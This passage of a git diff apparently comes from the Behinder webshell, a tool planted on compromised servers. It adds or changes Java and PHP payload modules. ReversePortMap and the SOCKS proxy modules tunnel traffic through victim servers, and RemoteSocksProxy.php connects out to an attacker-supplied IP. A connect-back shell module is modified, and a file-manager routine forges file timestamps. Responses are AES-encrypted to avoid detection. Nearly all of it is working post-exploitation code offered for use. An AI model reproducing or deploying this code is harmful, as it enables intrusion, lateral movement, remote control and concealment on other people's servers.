DataOutputStream os = new DataOutputStream(socket.getOutputStream());
int nmethods = ins.read();
- int methods = ins.read();
+
+ for(int i = 0; i < nmethods; ++i) {
+ int var10 = ins.read();
+ }
+
os.write(new byte[]{5, 0});
int version = ins.read();
int cmd;
@@ -197,11 +393,11 @@ private boolean parseSocks5(Socket socket) throws Exception {
tempArray[i] = temp + "";
}
- String[] var22 = tempArray;
+ String[] var23 = tempArray;
temp = tempArray.length;
- for(int var17 = 0; var17 < temp; ++var17) {
- String tempstr = var22[var17];
+ for(int var16 = 0; var16 < temp; ++var16) {
+ String tempstr = var23[var16];
host = host + tempstr + ".";
}
@@ -225,14 +421,16 @@ private boolean parseSocks5(Socket socket) throws Exception {
host = InetAddress.getByName(host).getHostAddress();
try {
- SocketChannel targetSocketChannel = SocketChannel.open();
- targetSocketChannel.connect(new InetSocketAddress(host, port));
- String innerKey = "socks_target_" + targetSocketChannel.socket().getLocalPort() + "_" + host + "_" + port;
- this.Session.setAttribute(innerKey, targetSocketChannel);
- os.write(CipherUtils.mergeByteArray(new byte[]{5, 0, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
+ System.out.println("connect target " + host + ":" + port);
+ Socket targetSocket = new Socket(host, port);
+ System.out.println("new targetsocket:" + targetSocket);
+ String targetSocketHash = "socks_target_" + targetSocket.getLocalPort() + "_" + host + "_" + port;
+ this.paramMap.put("targetSocketHash", targetSocketHash);
+ ((HttpSession)this.paramMap.get("session")).setAttribute(targetSocketHash, targetSocket);
+ os.write(mergeByteArray(new byte[]{5, 0, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
return true;
- } catch (Exception var19) {
- os.write(CipherUtils.mergeByteArray(new byte[]{5, 0, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
+ } catch (Exception var18) {
+ os.write(mergeByteArray(new byte[]{5, 5, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
throw new Exception(String.format("[%s:%d] Remote failed", host, port));
}
} else {
@@ -246,4 +444,97 @@ private boolean parseSocks5(Socket socket) throws Exception {
private boolean parseSocks4(Socket socket) {
return false;
}
+
+ public static byte[] mergeByteArray(byte[]... byteArray) {
+ int totalLength = 0;
+
+ for(int i = 0; i < byteArray.length; ++i) {
+ if (byteArray[i] != null) {
+ totalLength += byteArray[i].length;
+ }
+ }
+
+ byte[] result = new byte[totalLength];
+ int cur = 0;
+
+ for(int i = 0; i < byteArray.length; ++i) {
+ if (byteArray[i] != null) {
+ System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
+ cur += byteArray[i].length;
+ }
+ }
+
+ return result;
+ }
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ System.out.println("request:" + this.Request);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
+
+ private static String base64encode(String content) throws Exception {
+ String result = "";
+ String version = System.getProperty("java.version");
+ Class Base64;
+ Object Encoder;
+ if (version.compareTo("1.9") >= 0) {
+ Base64 = Class.forName("java.util.Base64");
+ Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
+ } else {
+ Base64 = Class.forName("sun.misc.BASE64Encoder");
+ Encoder = Base64.newInstance();
+ result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
+ result = result.replace("\n", "").replace("\r", "");
+ }
+
+ return result;
+ }
+
+ private String buildJson(Map entity, boolean encode) throws Exception {
+ StringBuilder sb = new StringBuilder();
+ String version = System.getProperty("java.version");
+ sb.append("{");
+ Iterator var5 = entity.keySet().iterator();
+
+ while(var5.hasNext()) {
+ String key = (String)var5.next();
+ sb.append("\"" + key + "\":\"");
+ String value = ((String)entity.get(key)).toString();
+ if (encode) {
+ value = base64encode(value);
+ }
+
+ sb.append(value);
+ sb.append("\",");
+ }
+
+ if (sb.toString().endsWith(",")) {
+ sb.setLength(sb.length() - 1);
+ }
+
+ sb.append("}");
+ return sb.toString();
+ }
+
+ private byte[] Encrypt(byte[] bs) throws Exception {
+ String key = this.Session.getAttribute("u").toString();
+ byte[] raw = key.getBytes("utf-8");
+ SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
+ cipher.init(1, skeySpec);
+ byte[] encrypted = cipher.doFinal(bs);
+ return encrypted;
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/ReversePortMap.java b/src/main/java/net/rebeyond/behinder/payload/java/ReversePortMap.java
new file mode 100644
index 0000000..84b69cf
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/payload/java/ReversePortMap.java
@@ -0,0 +1,352 @@
+package net.rebeyond.behinder.payload.java;
+
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.ServerSocketChannel;
+import java.nio.channels.SocketChannel;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+
+public class ReversePortMap implements Runnable {
+ public static String action;
+ public static String listenPort;
+ public static String socketHash;
+ public static String extraData;
+ private ServletRequest Request;
+ private ServletResponse Response;
+ private HttpSession Session;
+ private String threadType;
+ private Map paramMap;
+
+ public boolean equals(Object obj) {
+ HashMap result = new HashMap();
+ boolean var22 = false;
+
+ ServletOutputStream so = null;
+ label272: {
+ try {
+ var22 = true;
+ this.fillContext(obj);
+ Map paramMap = new HashMap();
+ paramMap.put("request", this.Request);
+ paramMap.put("response", this.Response);
+ paramMap.put("session", this.Session);
+ if (action.equals("create")) {
+ try {
+ String serverSocketHash = "reverseportmap_server_" + listenPort;
+ paramMap.put("serverSocketHash", serverSocketHash);
+ paramMap.put("listenPort", listenPort);
+ ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
+ serverSocketChannel.bind(new InetSocketAddress(Integer.parseInt(listenPort)));
+ this.Session.setAttribute(serverSocketHash, serverSocketChannel);
+ serverSocketChannel.socket().setReuseAddress(true);
+ (new Thread(new ReversePortMap("daemon", paramMap))).start();
+ result.put("status", "success");
+ result.put("msg", "success");
+ var22 = false;
+ } catch (Exception var29) {
+ result.put("status", "fail");
+ result.put("msg", var29.getMessage());
+ var22 = false;
+ }
+ } else if (action.equals("list")) {
+ List socketList = new ArrayList();
+ Enumeration keys = this.Session.getAttributeNames();
+
+ while(keys.hasMoreElements()) {
+ String socketHash = keys.nextElement().toString();
+ if (socketHash.indexOf("reverseportmap") >= 0) {
+ Map socketObj = new HashMap();
+ socketObj.put("socketHash", socketHash);
+ socketList.add(socketObj);
+ }
+ }
+
+ result.put("status", "success");
+ result.put("msg", this.buildJsonArray(socketList, false));
+ var22 = false;
+ } else {
+ SocketChannel serverInnersocket = null;
+ if (action.equals("read")) {
+ serverInnersocket = (SocketChannel)this.Session.getAttribute(ReversePortMap.socketHash);
+ serverInnersocket.configureBlocking(false);
+
+ try {
+ ByteBuffer buf = ByteBuffer.allocate(1024);
+ int bytesRead = serverInnersocket.read(buf);
+
+ for(so = this.Response.getOutputStream(); bytesRead > 0; bytesRead = serverInnersocket.read(buf)) {
+ so.write(buf.array(), 0, bytesRead);
+ so.flush();
+ buf.clear();
+ }
+
+ so.flush();
+ so.close();
+ var22 = false;
+ } catch (Exception var30) {
+ ((HttpServletResponse)this.Response).setStatus(200);
+ so = this.Response.getOutputStream();
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var30.getMessage().getBytes());
+ so.flush();
+ so.close();
+ var22 = false;
+ } catch (Error var31) {
+ var22 = false;
+ }
+ } else if (action.equals("write")) {
+ serverInnersocket = (SocketChannel)this.Session.getAttribute(ReversePortMap.socketHash);
+
+ try {
+ byte[] extraDataByte = this.base64decode(extraData);
+ ByteBuffer buf = ByteBuffer.allocate(extraDataByte.length);
+ buf.clear();
+ buf.put(extraDataByte);
+ buf.flip();
+
+ while(buf.hasRemaining()) {
+ serverInnersocket.write(buf);
+ }
+
+ var22 = false;
+ } catch (Exception var32) {
+ so = this.Response.getOutputStream();
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var32.getMessage().getBytes());
+ so.flush();
+ so.close();
+ serverInnersocket.close();
+ var22 = false;
+ }
+ } else if (!action.equals("stop")) {
+ if (action.equals("close")) {
+ try {
+ serverInnersocket = (SocketChannel)this.Session.getAttribute(ReversePortMap.socketHash);
+ serverInnersocket.close();
+ this.Session.removeAttribute(ReversePortMap.socketHash);
+ } catch (Exception var26) {
+ }
+
+ result.put("status", "success");
+ result.put("msg", "服务侧Socket资源已释放。");
+ var22 = false;
+ } else {
+ var22 = false;
+ }
+ } else {
+ Enumeration keys = this.Session.getAttributeNames();
+
+ String socketHash;
+ while(keys.hasMoreElements()) {
+ socketHash = keys.nextElement().toString();
+ if (socketHash.startsWith("reverseportmap_socket_" + listenPort)) {
+ try {
+ serverInnersocket = (SocketChannel)this.Session.getAttribute(socketHash);
+ this.Session.removeAttribute(socketHash);
+ serverInnersocket.close();
+ } catch (Exception var28) {
+ }
+ }
+ }
+
+ try {
+ socketHash = "reverseportmap_server_" + listenPort;
+ ServerSocketChannel serverSocket = (ServerSocketChannel)this.Session.getAttribute(socketHash);
+ this.Session.removeAttribute(socketHash);
+ serverSocket.close();
+ } catch (Exception var27) {
+ }
+
+ result.put("status", "success");
+ result.put("msg", "服务侧Socket资源已释放。");
+ var22 = false;
+ }
+ }
+ break label272;
+ } catch (Exception var33) {
+ result.put("status", "fail");
+ result.put("msg", action + ":" + var33.getMessage());
+ var22 = false;
+ } finally {
+ if (var22) {
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var23) {
+ }
+
+ }
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var24) {
+ }
+
+ return true;
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var25) {
+ }
+
+ return true;
+ }
+
+ public ReversePortMap(String threadType, Map paramMap) {
+ this.threadType = threadType;
+ this.paramMap = paramMap;
+ }
+
+ public ReversePortMap() {
+ }
+
+ public void run() {
+ if (this.threadType.equals("daemon")) {
+ try {
+ HttpSession session = (HttpSession)this.paramMap.get("session");
+ String serverSocketHash = this.paramMap.get("serverSocketHash").toString();
+ ServerSocketChannel serverSocketChannel = (ServerSocketChannel)session.getAttribute(serverSocketHash);
+ String listenPort = this.paramMap.get("listenPort").toString();
+
+ while(true) {
+ try {
+ SocketChannel serverInnersocket = serverSocketChannel.accept();
+ Map paramMap = new HashMap();
+ paramMap.put("session", session);
+ String serverInnersocketHash = "reverseportmap_socket_" + listenPort + "_" + serverInnersocket.socket().getInetAddress().getHostAddress() + "_" + serverInnersocket.socket().getPort();
+ paramMap.put("serverInnersocketHash", serverInnersocketHash);
+ session.setAttribute(serverInnersocketHash, serverInnersocket);
+ } catch (Exception var8) {
+ break;
+ }
+ }
+ } catch (Exception var9) {
+ }
+ }
+
+ }
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
+
+ private String buildJson(Map entity, boolean encode) throws Exception {
+ StringBuilder sb = new StringBuilder();
+ String version = System.getProperty("java.version");
+ sb.append("{");
+ Iterator var5 = entity.keySet().iterator();
+
+ while(var5.hasNext()) {
+ String key = (String)var5.next();
+ sb.append("\"" + key + "\":\"");
+ String value = ((String)entity.get(key)).toString();
+ if (encode) {
+ Class Base64;
+ Object Encoder;
+ if (version.compareTo("1.9") >= 0) {
+ this.getClass();
+ Base64 = Class.forName("java.util.Base64");
+ Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
+ value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
+ } else {
+ this.getClass();
+ Base64 = Class.forName("sun.misc.BASE64Encoder");
+ Encoder = Base64.newInstance();
+ value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
+ value = value.replace("\n", "").replace("\r", "");
+ }
+ }
+
+ sb.append(value);
+ sb.append("\",");
+ }
+
+ if (sb.toString().endsWith(",")) {
+ sb.setLength(sb.length() - 1);
+ }
+
+ sb.append("}");
+ return sb.toString();
+ }
+
+ private byte[] base64decode(String base64Text) throws Exception {
+ String version = System.getProperty("java.version");
+ byte[] result;
+ Class Base64;
+ Object Decoder;
+ if (version.compareTo("1.9") >= 0) {
+ this.getClass();
+ Base64 = Class.forName("java.util.Base64");
+ Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text));
+ } else {
+ this.getClass();
+ Base64 = Class.forName("sun.misc.BASE64Decoder");
+ Decoder = Base64.newInstance();
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text));
+ }
+
+ return result;
+ }
+
+ private String buildJsonArray(List list, boolean encode) throws Exception {
+ StringBuilder sb = new StringBuilder();
+ sb.append("[");
+ Iterator var4 = list.iterator();
+
+ while(var4.hasNext()) {
+ Map entity = (Map)var4.next();
+ sb.append(this.buildJson(entity, encode) + ",");
+ }
+
+ if (sb.toString().endsWith(",")) {
+ sb.setLength(sb.length() - 1);
+ }
+
+ sb.append("]");
+ return sb.toString();
+ }
+
+ private byte[] Encrypt(byte[] bs) throws Exception {
+ String key = this.Session.getAttribute("u").toString();
+ byte[] raw = key.getBytes("utf-8");
+ SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
+ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
+ cipher.init(1, skeySpec);
+ byte[] encrypted = cipher.doFinal(bs);
+ return encrypted;
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Scan.java b/src/main/java/net/rebeyond/behinder/payload/java/Scan.java
index 7fc8510..1cab045 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Scan.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Scan.java
@@ -60,7 +60,6 @@ public boolean equals(Object obj) {
so.close();
page.getOut().clear();
} catch (Exception var13) {
- var13.printStackTrace();
}
}
@@ -73,7 +72,6 @@ public boolean equals(Object obj) {
so.close();
page.getOut().clear();
} catch (Exception var14) {
- var14.printStackTrace();
}
return true;
@@ -86,7 +84,6 @@ public boolean equals(Object obj) {
so.close();
page.getOut().clear();
} catch (Exception var15) {
- var15.printStackTrace();
}
return true;
@@ -126,7 +123,6 @@ public void run() {
sessionObj.put("running", "false");
} catch (Exception var15) {
- var15.printStackTrace();
}
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/SocksProxy.java b/src/main/java/net/rebeyond/behinder/payload/java/SocksProxy.java
index dd9a2ee..55991a9 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/SocksProxy.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/SocksProxy.java
@@ -5,11 +5,13 @@
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
+import java.util.Map;
import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class SocksProxy {
public static String cmd;
@@ -17,25 +19,24 @@ public class SocksProxy {
public static String targetPort;
public static String socketHash;
public static String extraData;
-
- public static void main(String[] args) {
- }
+ private ServletRequest Request;
+ private ServletResponse Response;
+ private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
-
try {
- this.proxy(page);
- } catch (Exception var4) {
+ this.fillContext(obj);
+ this.proxy();
+ } catch (Exception var3) {
}
return true;
}
- public void proxy(PageContext page) throws Exception {
- HttpServletRequest request = (HttpServletRequest)page.getRequest();
- HttpServletResponse response = (HttpServletResponse)page.getResponse();
- HttpSession session = page.getSession();
+ public void proxy() throws Exception {
+ HttpServletRequest request = (HttpServletRequest)this.Request;
+ HttpServletResponse response = (HttpServletResponse)this.Response;
+ HttpSession session = this.Session;
if (cmd != null) {
if (cmd.compareTo("CONNECT") == 0) {
ServletOutputStream so;
@@ -47,28 +48,26 @@ public void proxy(PageContext page) throws Exception {
socketChannel.configureBlocking(false);
session.setAttribute("socket_" + socketHash, socketChannel);
response.setStatus(200);
- } catch (UnknownHostException var10) {
+ } catch (UnknownHostException var9) {
so = response.getOutputStream();
- so.write(new byte[]{55, 33, 73, 54});
- so.write(var10.getMessage().getBytes());
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var9.getMessage().getBytes());
so.flush();
so.close();
- } catch (IOException var11) {
+ } catch (IOException var10) {
so = response.getOutputStream();
- so.write(new byte[]{55, 33, 73, 54});
- so.write(var11.getMessage().getBytes());
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var10.getMessage().getBytes());
so.flush();
so.close();
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("DISCONNECT") == 0) {
- socketChannel = (SocketChannel)session.getAttribute("socket_" + socketHash);
-
try {
+ socketChannel = (SocketChannel)session.getAttribute("socket_" + socketHash);
socketChannel.socket().close();
- } catch (Exception var9) {
- var9.printStackTrace();
+ } catch (Exception var8) {
}
session.removeAttribute("socket_" + socketHash);
@@ -80,7 +79,6 @@ public void proxy(PageContext page) throws Exception {
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
-
for(so = response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
so.write(buf.array(), 0, bytesRead);
so.flush();
@@ -89,16 +87,15 @@ public void proxy(PageContext page) throws Exception {
so.flush();
so.close();
- } catch (Exception var13) {
+ } catch (Exception var12) {
response.setStatus(200);
so = response.getOutputStream();
- so.write(new byte[]{55, 33, 73, 54});
- so.write(var13.getMessage().getBytes());
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var12.getMessage().getBytes());
so.flush();
so.close();
- page.getOut().clear();
socketChannel.socket().close();
- var13.printStackTrace();
+ } catch (Error var13) {
}
} else if (cmd.compareTo("FORWARD") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket_" + socketHash);
@@ -113,10 +110,10 @@ public void proxy(PageContext page) throws Exception {
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
- } catch (Exception var12) {
+ } catch (Exception var11) {
so = response.getOutputStream();
- so.write(new byte[]{55, 33, 73, 54});
- so.write(var12.getMessage().getBytes());
+ so.write(new byte[]{56, 33, 73, 55});
+ so.write(var11.getMessage().getBytes());
so.flush();
so.close();
socketChannel.socket().close();
@@ -126,7 +123,6 @@ public void proxy(PageContext page) throws Exception {
}
}
- page.getOut().clear();
}
private byte[] base64decode(String text) throws Exception {
@@ -140,16 +136,31 @@ private byte[] base64decode(String text) throws Exception {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
- result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
- result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text));
}
} catch (Exception var6) {
}
return result;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/php/BasicInfo.php b/src/main/java/net/rebeyond/behinder/payload/php/BasicInfo.php
index 41a5acd..80b682c 100644
--- a/src/main/java/net/rebeyond/behinder/payload/php/BasicInfo.php
+++ b/src/main/java/net/rebeyond/behinder/payload/php/BasicInfo.php
@@ -17,7 +17,11 @@ function main($whatever) {
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
- $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
+ $arch="64";
+ if (PHP_INT_SIZE == 4) {
+ $arch = "32";
+ }
+ $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));
//echo json_encode($result);
session_start();
$key=$_SESSION['k'];
diff --git a/src/main/java/net/rebeyond/behinder/payload/php/ConnectBack.php b/src/main/java/net/rebeyond/behinder/payload/php/ConnectBack.php
index ea3ed81..6e3cef6 100644
--- a/src/main/java/net/rebeyond/behinder/payload/php/ConnectBack.php
+++ b/src/main/java/net/rebeyond/behinder/payload/php/ConnectBack.php
@@ -3,6 +3,20 @@
@set_time_limit(0);
function main($type,$ip,$port)
{
+$result=array();
+ob_end_clean();
+
+ header("Connection: close");
+ ignore_user_abort();
+ ob_start();
+ $result["status"] = base64_encode("success");
+ $result["msg"] = base64_encode("success");
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ $size = ob_get_length();
+ header("Content-Length: $size");
+
+ ob_end_flush();
+ flush();
if ($type=="shell")
{
common($ip,$port);
@@ -129,4 +143,18 @@ function FYOQaKiyqQNfDO($c){
}
@socket_close($s);
}
+}
+function encrypt($data,$key)
+{
+ if(!extension_loaded('openssl'))
+ {
+ for($i=0;$i base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
- $obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
+ $obj["perm"] = base64_encode((is_readable($fullPath)?"R":"-") . "/" . (is_writable($fullPath)?"W":"-" ). "/" . (is_executable($fullPath)?"E":"-"));
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
@@ -104,6 +104,29 @@ function main($mode, $path = ".", $content = "", $charset = "",$newpath="")
$result = encrypt(json_encode($result),$_SESSION['k']);
echo $result;
break;
+ case "getTimeStamp":
+ $result["status"] = base64_encode("success");
+ $timeStampObj = array(
+ "createTime" => base64_encode(date("Y/m/d H:i:s", filectime ($path))),
+ "lastAccessTime" => base64_encode(date("Y/m/d H:i:s", fileatime ($path))),
+ "lastModifiedTime" =>base64_encode(date("Y/m/d H:i:s", filemtime ($path)))
+ );
+ $result["msg"] = base64_encode(json_encode($timeStampObj));
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ break;
+ case "updateTimeStamp":
+ if (touch ($path , strtotime($modifyTimeStamp) ,strtotime($accessTimeStamp)))
+ {
+ $result["status"] = base64_encode("success");
+ $result["msg"] = base64_encode("时间戳修改成功。");
+ }
+ else
+ {
+ $result["status"] = base64_encode("fail");
+ $result["msg"] = base64_encode("时间戳修改失败。");
+ }
+ echo encrypt(json_encode($result), $_SESSION['k']);
+ break;
case "download":
if (! file_exists($path)) {
header('HTTP/1.1 404 NOT FOUND');
diff --git a/src/main/java/net/rebeyond/behinder/payload/php/RemoteSocksProxy.php b/src/main/java/net/rebeyond/behinder/payload/php/RemoteSocksProxy.php
new file mode 100644
index 0000000..f246ef3
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/payload/php/RemoteSocksProxy.php
@@ -0,0 +1,188 @@
+
+function main($action,$remoteIP,$remotePort)
+{
+ @set_time_limit(0);
+ @ignore_user_abort(1);
+ @ini_set('max_execution_time', 0);
+ @error_reporting(0);
+
+ $result = array();
+if ($action=="create")
+{
+ @session_start();
+ $_SESSION["socks_running"] = true;
+ session_write_close();
+ ob_end_clean();
+ header("Connection: close");
+ ignore_user_abort();
+ ob_start();
+ $size = ob_get_length();
+ header("Content-Length: $size");
+ ob_end_flush();
+ flush();
+}
+else if ($action=="stop")
+{
+ @session_start();
+ $_SESSION["socks_running"] = false;
+ session_write_close();
+ return;
+}
+global $read,$outers,$targets;
+$ready=false;
+$outers = [];
+$targets = [];
+$read=[];
+$write = [];
+$exp = [];
+
+$read = array_merge($targets,$outers);
+while ($_SESSION["socks_running"]) {
+ if ($ready==false)
+ {
+ $outterSocket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+ socket_connect($outterSocket, $remoteIP, intval($remotePort));
+ $outers[$outterSocket]=$outterSocket;
+ $ready=true;
+ }
+ $read=[];
+ $read = array_merge($targets,$outers);
+
+ if (socket_select($read, $write, $exp, null) > 0) {
+ foreach ($read as $socket_item) {
+ if (in_array($socket_item, $outers))
+ {
+ if (isset($targets[$socket_item])) {
+ $content = socket_read($socket_item, 2048);
+ if (strlen($content)==0)
+ {
+ unset($outers[$socket_item]);
+ continue;
+ }
+ socket_write($targets[$socket_item], $content, strlen($content));
+ } else {
+ $ready = false;
+ if (handleSocks($socket_item)) {
+ } else {
+ }
+ }
+ }
+ if (in_array($socket_item, $targets))
+ {
+ foreach ($targets as $k => $v) {
+ if ($socket_item==$v)
+ {
+ $content = socket_read($socket_item, 2048);
+ if (strlen($content)==0)
+ {
+ unset($targets[$k]);
+ continue;
+ }
+ socket_write($outers[$k], $content, strlen($content));
+
+ }
+ }
+ }
+ }
+ }
+
+ // 当select没有监听到可操作fd的时候,直接continue进入下一次循环
+ else {
+ continue;
+ }
+}
+}
+function handleSocks($socket)
+{
+
+ $ver = socket_read($socket, 1);
+ if ($ver == "\x05") {
+ return parseSocks5($socket);
+ } else if ($ver == "\x04") {
+ return parseSocks4($socket);
+ }
+ return true;
+}
+function parseSocks5($socket)
+{
+ global $read,$outers,$targets;
+ $nmethods = socket_read($socket, 1);
+ for ($i = 0; $i < ord($nmethods); $i++) {
+ $methods = socket_read($socket, 1);
+ }
+ socket_write($socket, "\x05\x00", 2);
+ $version = socket_read($socket, 1);
+ if ($version == "\x02") {
+ $version = socket_read($socket, 1);
+ $cmd = socket_read($socket, 1);
+ $rsv = socket_read($socket, 1);
+ $atyp = socket_read($socket, 1);
+ } else {
+ $cmd = socket_read($socket, 1);
+ $rsv = socket_read($socket, 1);
+ $atyp = socket_read($socket, 1);
+ }
+ if ($atyp == "\x01") {
+ $target = socket_read($socket, 4);
+ $targetPort = socket_read($socket, 2);
+ $host = inet_ntop($target);
+ } else if ($atyp == "\x03") {
+ $targetLen = socket_read($socket, 1);
+ $target = socket_read($socket, $targetLen);
+ $targetPort = socket_read($socket, 2);
+ $host = $target;
+ } else if ($atyp == "\x04") {
+ $target = socket_read($socket, 16);
+ $targetPort = socket_read($socket, 2);
+ $host = $target;
+ }
+ //$port=(ord($port[0]) & 0xff) * 256 + (ord($port[1]) & 0xff);
+ $port = unpack("n", $targetPort)[1];
+ if ($cmd == "\x02" || $cmd == "\x03") {
+ throw new Exception("not implemented");
+ } else if ($cmd == "\x01") {
+ $host = gethostbyname($host);
+ try {
+
+ $targetSocket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+ socket_connect($targetSocket, $host, $port);
+ $targets[$socket]=$targetSocket;
+ $read[]=$targetSocket;
+
+ socket_write($socket, "\x05\x00\x00\x01" . packAddr($host, $port));
+ return true;
+ } catch (Exception $e) {
+ socket_write($socket, "\x05\x05\x00\x01");
+ throw new Exception(sprintf("[%s:%d] Remote failed", $host, $port));
+ }
+ } else {
+ throw new Exception("Socks5 - Unknown CMD");
+ }
+}
+function parseSocks4($socket)
+{
+ return false;
+}
+function packAddr($host, $port)
+{
+ $tmp = explode('.', $host);
+ foreach ($tmp as $block) {
+ $data .= chr($block);
+ }
